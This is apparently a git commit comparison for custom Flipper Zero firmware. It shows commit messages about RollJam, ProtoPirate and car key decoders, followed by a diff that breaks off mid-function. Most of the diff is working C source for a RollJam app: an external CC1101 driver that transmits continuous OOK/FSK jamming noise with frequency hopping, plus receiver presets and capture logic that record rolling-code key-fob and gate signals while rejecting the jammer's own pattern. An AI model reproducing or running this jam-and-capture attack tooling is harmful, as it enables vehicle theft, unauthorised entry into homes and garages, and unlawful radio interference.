Compare commits

..

15 Commits

Author SHA1 Message Date
d4rks1d33 a0c53e381c Added better Doom for fun xD
Build Dev Firmware / build (push) Waiting to run
2026-07-02 20:50:10 -03:00
d4rks1d33 46d7e1263c Updated ProtoPirate, new Zero-Mega version (amazing updates)
Build Dev Firmware / build (push) Successful in 17m44s
2026-06-30 20:47:24 -03:00
d4rks1d33 426607f916 Thanks AussieMike for renaming Garage Door App, thanks to this ProtoPirate NOW is working!
Build Dev Firmware / build (push) Successful in 18m26s
2026-06-29 21:47:52 -03:00
d4rks1d33 5badcb6143 Fxck! 2.0 RollJam works + emulation only AM protocols -- ProtoPirate has the same base issue so when I finish fixing RollJam FM emulation should be able to replicate the fix into ProtoPirate
Build Dev Firmware / build (push) Failing after 14m51s
2026-06-27 00:59:44 -03:00
d4rks1d33 7ebd996eed Fxck! 2.0
Build Dev Firmware / build (push) Successful in 16m53s
2026-06-26 00:52:09 -03:00
d4rks1d33 e89b329b54 Fxck!
Build Dev Firmware / build (push) Failing after 14m46s
2026-06-25 20:22:59 -03:00
d4rks1d33 d490cfa8f4 pls work
Build Dev Firmware / build (push) Failing after 41s
2026-06-25 20:19:38 -03:00
d4rks1d33 abf0d8ca78 fixes 2026-06-25 20:14:09 -03:00
d4rks1d33 7f7022b960 Details
Build Dev Firmware / build (push) Failing after 42s
2026-06-25 01:44:50 -03:00
d4rks1d33 3a63e14399 Two new apps on SubGhz: Garage Door Remote (ProtoPirate for garage doors and gates, pretty much that), and RollJam (it works now, the only problem is that it doesn't emulate saved signals, but RollJam itself works...minor fixes). Big kudos to Zero-Mega who helped with both apps! 2026-06-25 01:38:16 -03:00
d4rks1d33 99ac826a49 Added script to easily add new tables to modulation hopping (depending on which specific modulation you want to use)
Build Dev Firmware / build (push) Successful in 17m30s
2026-06-13 17:12:39 -03:00
d4rks1d33 a3698f93a9 Improvements in modulation hopping. Thanks Zero-Mega
Build Dev Firmware / build (push) Successful in 16m28s
2026-06-13 16:56:02 -03:00
d4rks1d33 94dcc82483 Official Flipper Mobile APP is now working
Build Dev Firmware / build (push) Successful in 16m58s
2026-06-12 22:36:08 -03:00
d4rks1d33 9b7499be36 Fix kia v3/v4/v5
Build Dev Firmware / build (push) Successful in 17m16s
2026-06-12 20:59:48 -03:00
d4rks1d33 018a5feb29 Add Toyota Keeloq (only decode)
Build Dev Firmware / build (push) Failing after 14m50s
2026-06-07 23:45:08 -03:00
627 changed files with 105627 additions and 17274 deletions
-2
View File
@@ -90,5 +90,3 @@ lib/subghz/protocols/honda_rolling.c
lib/subghz/protocols/honda_rolling.h
lib/subghz/protocols/honda_pandora.c
lib/subghz/protocols/honda_pandora.h
lib/subghz/protocols/toyota.c
lib/subghz/protocols/toyota.h
-23
View File
@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)
@@ -1,521 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);
@@ -1,689 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(g_cap.state == CapDone) return;
g_cap.callback_count++;
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(g_cap.state) {
case CapWaiting:
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
